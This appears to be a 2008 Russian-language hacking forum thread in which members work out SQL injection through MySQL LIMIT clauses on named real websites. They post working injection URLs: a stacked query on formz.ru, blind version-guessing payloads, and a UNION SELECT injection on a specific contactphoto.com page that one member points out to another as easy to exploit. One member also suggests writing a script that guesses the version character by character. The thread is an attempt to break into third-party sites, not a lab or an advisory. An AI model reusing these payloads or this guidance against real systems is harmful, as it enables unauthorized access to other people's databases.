
12.11.2008, 19:32
|
|
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
Провел на форуме: 1777055
Репутация:
347
|
|
в mysql нельзя выполнять несколько запросов, разделяя их ;
|
|
|

12.11.2008, 20:54
|
|
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
Провел на форуме: 350782
Репутация:
81
|
|
; если не ошибаюсь означает конец запроса, проправьте если ошибаюсь
|
|
|

12.11.2008, 21:20
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
в MySQL использовать UNION после ORDER нельзя:
SELECT 1 ORDER BY 1 LIMIT 1 UNION SELECT 1
->
Incorrect usage of UNION and ORDER BY
но просто с LIMIT можно:
SELECT 1 LIMIT 1 UNION SELECT 1;
->
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
|
|
|

12.11.2008, 21:58
|
|
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
Провел на форуме: 350782
Репутация:
81
|
|
2prescott и почему же тогда в данном случае не работает?
|
|
|

12.11.2008, 22:02
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 158
Провел на форуме: 728470
Репутация:
115
|
|
Сообщение от truelamer
2prescott и почему же тогда в данном случае не работает?
Я думаю что в случае с formz.ru стоит другой сервер базы данных, поэтому и прошу помощи ачатовцев. С распространенными БД я сам могу в большинстве случаев справиться, тут просто какая то некандиция...
Например такой запрос прокатывает, следовательно ; для этой БД означает конец запроса, ошибки ведь не возникает, заметь!
Код:
http://formz.ru/nb/public/faq/view?table.question_list.limit=2;%20select%201--
А если вместо точки с запятой поставить например дефис, вылетает критическая ошибка.
Последний раз редактировалось prescott; 12.11.2008 в 22:06..
|
|
|

12.11.2008, 22:04
|
|
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
Провел на форуме: 350782
Репутация:
81
|
|
2prescott
почему тут не получается? вроде все как ты описывал, помоги разобраться
http://www.contactphoto.com/archive.php?search=&limit=1
вроде тогда один из двух вариантов должен был сработать
http://www.contactphoto.com/archive.php?search=&limit=1,2*if(ascii(substr(vers ion(),1,1))=34,1,2)/*
или
http://www.contactphoto.com/archive.php?search=&limit=1,2*if(ascii(substr(vers ion(),1,1))=35,1,2)/*
Последний раз редактировалось truelamer; 12.11.2008 в 22:09..
|
|
|

12.11.2008, 22:11
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 158
Провел на форуме: 728470
Репутация:
115
|
|
Сообщение от truelamer
2prescott
почему тут не получается? вроде все как ты описывал, помоги разобраться
http://www.contactphoto.com/archive.php?search=&limit=1
вроде тогда один из двух вариантов должен был сработать
http://www.contactphoto.com/archive.php?search=&limit=1,2*if(ascii(substr(vers ion(),1,1))=34,1,2)/*
или
http://www.contactphoto.com/archive.php?search=&limit=1,2*if(ascii(substr(vers ion(),1,1))=35,1,2)/*
Потомучто это не mysql и не mssql, ибо запрос http://www.contactphoto.com/archive.php?search=&limit=1,2-- ругается на --, что для них должно однозначно трактоваться как комментарий.
UPD: был не прав, ошибка пишет что это действительно mysql...
Последний раз редактировалось prescott; 12.11.2008 в 22:14..
|
|
|

12.11.2008, 22:09
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
@prescott
подзапросы после лимита или в его аргументе нельзя использовать, можно только добавить UNION SELECT и то при условии, что перед лимитом нет ORDER BY
Если вернуло пять записей - угадал версию, если десять - не угадал. Пишешь сплоит который перебирает посимвольно и дело в шляпе.
не будет так работать, даже такой запрос возвращает ошибку:
select 1 order by 1 limit 1,5*1;
|
|
|

12.11.2008, 22:13
|
|
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
Провел на форуме: 350782
Репутация:
81
|
|
это не mssql
тема закрыта, если есть order by то можно не расчитывать на иньекцию.
|
|
|

12.11.2008, 22:25
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 158
Провел на форуме: 728470
Репутация:
115
|
|
Сообщение от truelamer
это не mssql
тема закрыта, если есть order by то можно не расчитывать на иньекцию.
кстати, если тебе всетаки нужен тот сайт, то инъекция есть тут, да и крутится легко:
Код:
http://www.contactphoto.com/view.php?sec=programs&eventid=1290+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4/*
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|